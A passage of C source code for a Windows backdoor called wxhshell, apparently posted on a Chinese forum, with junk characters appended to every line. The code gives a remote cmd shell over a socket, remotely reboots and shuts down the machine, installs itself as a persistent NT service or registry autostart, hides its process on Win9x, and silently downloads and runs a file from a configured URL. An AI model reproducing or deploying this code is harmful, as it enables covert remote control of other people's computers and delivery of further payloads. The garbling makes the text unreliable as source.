  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); lHBk&UN'  
  } MS,J+'2  
  else { kw8?:: <  
'u }|~u?m  
    switch(cmd[0]) { Y/1KvF4)k  
  !/W[6'M#p  
  // 帮助 S}Wj+H;  
  case '?': { ;/$=!9^sZ  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); fcd\{1#u  
    break; $;1#gq%  
  } c:0nOP  
  // 安装 h:iK;  
  case 'i': { jM8e2z3  
    if(Install()) V @A+d[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  VP H  
    else b4GD}kR  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `y5?lS*  
    break; C~PrIM?  
    } vT)(#0>z  
  // 卸载 w%jc' ;|  
  case 'r': { |~b.rKQt[  
    if(Uninstall()) B#RwW,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Az.(tJ X"  
    else b/IT8Cm3  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8?ldD  
    break; ]J;pUH+u  
    } Wk$ 7<gkr  
  // 显示 wxhshell 所在路径 m\>531&  
  case 'p': { %n-:mSus  
    char svExeFile[MAX_PATH];  gBQK  
    strcpy(svExeFile,"\n\r"); ~kUdHne (  
      strcat(svExeFile,ExeFile); +yX\!H"  
        send(wsh,svExeFile,strlen(svExeFile),0); Pt~mpRl H  
    break; *RugVH4  
    } <11pk  
  // 重启 Vb>!;C  
  case 'b': { NF`WA-W8@  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); t(69gF\"  
    if(Boot(REBOOT)) {2<A\nW  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); aBk~/  
    else { mo1(dyjx  
    closesocket(wsh); aa:Oh^AJy  
    ExitThread(0); Fy!u xT-\  
    } xQV5-VoFC  
    break; 8s6~l.v  
    } fx@Hd!nO~"  
  // 关机 j+0=)Q%I=  
  case 'd': { !e?;f=1+E  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); s)Bmi  
    if(Boot(SHUTDOWN)) RUHQ]@d#T  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6x%uWZa'  
    else { 4:\1S~WW  
    closesocket(wsh); Sc Uh -y_  
    ExitThread(0); pE{ZWW[@+  
    } A<ca9g3  
    break; TCAtb('D  
    } <eRE;8C-  
  // 获取shell %Od?(m"&  
  case 's': { )-$Od2u2c  
    CmdShell(wsh); o.yuz+  
    closesocket(wsh); rj zRZ  
    ExitThread(0); +Bk d  
    break; P/;sZo  
  } ;ru=z@  
  // 退出 (S/f!Dk&3  
  case 'x': { nG<_&h  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); QixEMX4<  
    CloseIt(wsh); ER0nrTlB<  
    break; II$B"-  
    } &Rw4ub3  
  // 离开 @]r,cPx0Y  
  case 'q': { N)Fy#6  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); PveY8[i  
    closesocket(wsh); XO sPKq  
    WSACleanup(); ^_FB .y%  
    exit(1); I}JC~=`j  
    break; [DS.@97n  
        } J})G l  
  } 5Vo8z8]t`  
  }  ;0G+>&C8  
??& Q"6Oe  
  // 提示信息 '0QrM,B9  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); !1 :%!7  
}  ismx evD  
  } m$^Wyk}  
(]* Ro 8  
  return; &%M!!28X:  
} /NvHM$5O%  
jWHv9XtW  
// shell模块句柄 ;.$AhjqiP  
int CmdShell(SOCKET sock) Fc{M N"  
{ tkT:5O6  
STARTUPINFO si; (+SfDL$m  
ZeroMemory(&si,sizeof(si)); b CWSh~  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; $07;gpZt  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; MTm}qx@L  
PROCESS_INFORMATION ProcessInfo; VX+:k.}  
char cmdline[]="cmd"; NDsF<2A4  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); } a#RX$d&  
  return 0; h- )tWJ c  
} n*twuB/P 1  
y8oqCe)  
// 自身启动模式 `h%(ZG ~  
int StartFromService(void) 3zC<k2B  
{ 1 Hw%DJ  
typedef struct pBo=omQV  
{ FU]jI[  
  DWORD ExitStatus; 6uNWL `v  
  DWORD PebBaseAddress; eK8y'VY  
  DWORD AffinityMask; d v8q&_  
  DWORD BasePriority; _JEe]  
  ULONG UniqueProcessId; /6Bm <k%  
  ULONG InheritedFromUniqueProcessId; _x+)Tv  
}   PROCESS_BASIC_INFORMATION; EA# {N<  
|aD8  
PROCNTQSIP NtQueryInformationProcess; _k'?eZB  
!>E$2}Q|]  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; t,D7X1W  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 92F 9)S{"  
O0`o0 !=P  
  HANDLE             hProcess; E\/J& .  
  PROCESS_BASIC_INFORMATION pbi; UnVYGch  
luvxwved  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ]LbFh5;s  
  if(NULL == hInst ) return 0; h^ o@=%b  
?^} z  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); V*d@@%u**  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Z;'5A2  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); !c2<-3e  
i>j(Dsv  
  if (!NtQueryInformationProcess) return 0; c^F@9{I  
>;s!X(6 b  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); L9Z\|L5  
  if(!hProcess) return 0; }5b,u6  
TxA%{0  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 9EFQo^ E  
r"4&.&6  
  CloseHandle(hProcess); )x& 4 Q=  
Tebu?bj  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ]39])ul  
if(hProcess==NULL) return 0; QHHj.ZY  
]^>RBegJBO  
HMODULE hMod; M+l~^E0Wj  
char procName[255]; ET\>cxSp  
unsigned long cbNeeded; oK@_  
?{]"UnyVE*  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); eW\C@>Ke  
HO}eu  
  CloseHandle(hProcess); Sp-M:,H3H  
nd)`G$gL  
if(strstr(procName,"services")) return 1; // 以服务启动 n2N:rP  
WR zIK09@  
  return 0; // 注册表启动  __Egr@  
} tSX,*cz  
uB;PaZ G?{  
// 主模块 5E!Wp[^  
int StartWxhshell(LPSTR lpCmdLine) OrRU$5Lo  
{ }>yQ!3/i  
  SOCKET wsl; Q`HG_n@?  
BOOL val=TRUE; - (VX+XHW  
  int port=0; &`B Tw1u  
  struct sockaddr_in door; 9xRor<  
l0BYv&tu  
  if(wscfg.ws_autoins) Install(); ?'mi6jFFh  
xlm:erP  
port=atoi(lpCmdLine); ia*Bcx_RW+  
{SwvUWOf"  
if(port<=0) port=wscfg.ws_port; 115zvW  
W@WKdaJ  
  WSADATA data; '-[?iF@l  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 9$=o({  
dk.VH!uVb  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   m%.7l8vT  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); l.%[s6  
  door.sin_family = AF_INET; X+'B*K$  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ]cP$aixd  
  door.sin_port = htons(port); ]-8yZWal  
/rzZU}3[  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ^2eH0O!  
closesocket(wsl); lQt* LWd[  
return 1; ]GmXZi  
} &-(p~[|  
- %`iLu  
  if(listen(wsl,2) == INVALID_SOCKET) { WXX08"  
closesocket(wsl); D`@*udn=  
return 1;  cE7IHQ  
} 1J[|Ow  
  Wxhshell(wsl); :eL ja*  
  WSACleanup(); *v0}S5^ /"  
&)F# cVB  
return 0; i4\m/&of3y  
4qg] oiT  
} Y5\=5r/  
k-|b{QZ8!;  
// 以NT服务方式启动 )"H r3  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) k%h%mz  
{ >@i {8AD  
DWORD   status = 0; M|\C@,F]8  
  DWORD   specificError = 0xfffffff; wf/DLAC  
_?~)B\@~0  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ]?n~?dD{]  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; t.6gyrV7><  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; p'YNj3&u  
  serviceStatus.dwWin32ExitCode     = 0; S#f}mb0,  
  serviceStatus.dwServiceSpecificExitCode = 0; ca?;!~%zA  
  serviceStatus.dwCheckPoint       = 0;  &&sCaNb  
  serviceStatus.dwWaitHint       = 0; \"AzT{l!;  
)+v' @]r  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); `ILO]+`5  
  if (hServiceStatusHandle==0) return; 1`l10fqU  
5d5q0bb  
status = GetLastError(); 1xt N3{c  
  if (status!=NO_ERROR) [y1 x`WOk9  
{ $ZfoJR]%  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; "M4 gl  
    serviceStatus.dwCheckPoint       = 0; EP}NT)z,{  
    serviceStatus.dwWaitHint       = 0; "%fvA;  
    serviceStatus.dwWin32ExitCode     = status; 2kQa3Pan  
    serviceStatus.dwServiceSpecificExitCode = specificError; .80L>0  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); iVqa0Gl+}  
    return;  4xnM7t\  
  } ,`;Dre  
mZb[Fi  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; xH/Pw?^  
  serviceStatus.dwCheckPoint       = 0; Hsi<!g.  
  serviceStatus.dwWaitHint       = 0; Ialbz\;F2%  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); pi?[jU[Tn  
} 1)N{!w`  
(#%R'9R v  
// 处理NT服务事件,比如:启动、停止 k=r)kkO)  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Sn ~|<Vf  
{ i0e aBG]I  
switch(fdwControl) _ ZC[h~9H  
{ &a];"2  
case SERVICE_CONTROL_STOP: xXm:S{I  
  serviceStatus.dwWin32ExitCode = 0; >5+]~[S  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; kG70j{gf  
  serviceStatus.dwCheckPoint   = 0; gyAKjLqqpi  
  serviceStatus.dwWaitHint     = 0; Fu6~8uDV{{  
  { L#X!.  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3^J~ts{*  
  } zMW[Xx!  
  return; ^lCQHz  
case SERVICE_CONTROL_PAUSE: /pOK4"  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; D?< R5zp  
  break; s0bWg$  
case SERVICE_CONTROL_CONTINUE: ]f~mR_E  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; AB1,G|L  
  break; QwL'5ws{q  
case SERVICE_CONTROL_INTERROGATE: m_n*_tX  
  break; >7^i>si  
}; UM QsYD)  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); BO 3%p  
} __N#Y/e ]  
:w5p#+/,P  
// 标准应用程序主函数 sHi *\  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) eFiUB  
{ 98^o9i  
,@*Srrw  
// 获取操作系统版本 AyUiX2=w1  
OsIsNt=GetOsVer(); #Z.2g].  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ( @y te  
Q-,,Kn  
  // 从命令行安装 K=`;D  
  if(strpbrk(lpCmdLine,"iI")) Install(); n'-?CMH`  
d:V6.7>,  
  // 下载执行文件 GDUOUl&  
if(wscfg.ws_downexe) { 4Ev#`i3~  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) a6&+>\o  
  WinExec(wscfg.ws_filenam,SW_HIDE); #lHA<jI  
} *MBu5 +u%e  
%Z#s9QC  
if(!OsIsNt) { nD8CP[bRo  
// 如果时win9x,隐藏进程并且设置为注册表启动 *He%%pk  
HideProc(); ?U;KwS]%  
StartWxhshell(lpCmdLine); LAT%k2%Wx  
} cLpkgK&a  
else o : t z_5  
  if(StartFromService()) QIg.r \>o  
  // 以服务方式启动 }&{z-/;H  
  StartServiceCtrlDispatcher(DispatchTable); Mx<? c  
else X>`5YdT~+  
  // 普通方式启动 D'! v9}  
  StartWxhshell(lpCmdLine); 10 D6fkjf  
0;bi*2U  
return 0; ;HOOo>%_K  
}
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只看该作者 1 发表于: 2006-10-10
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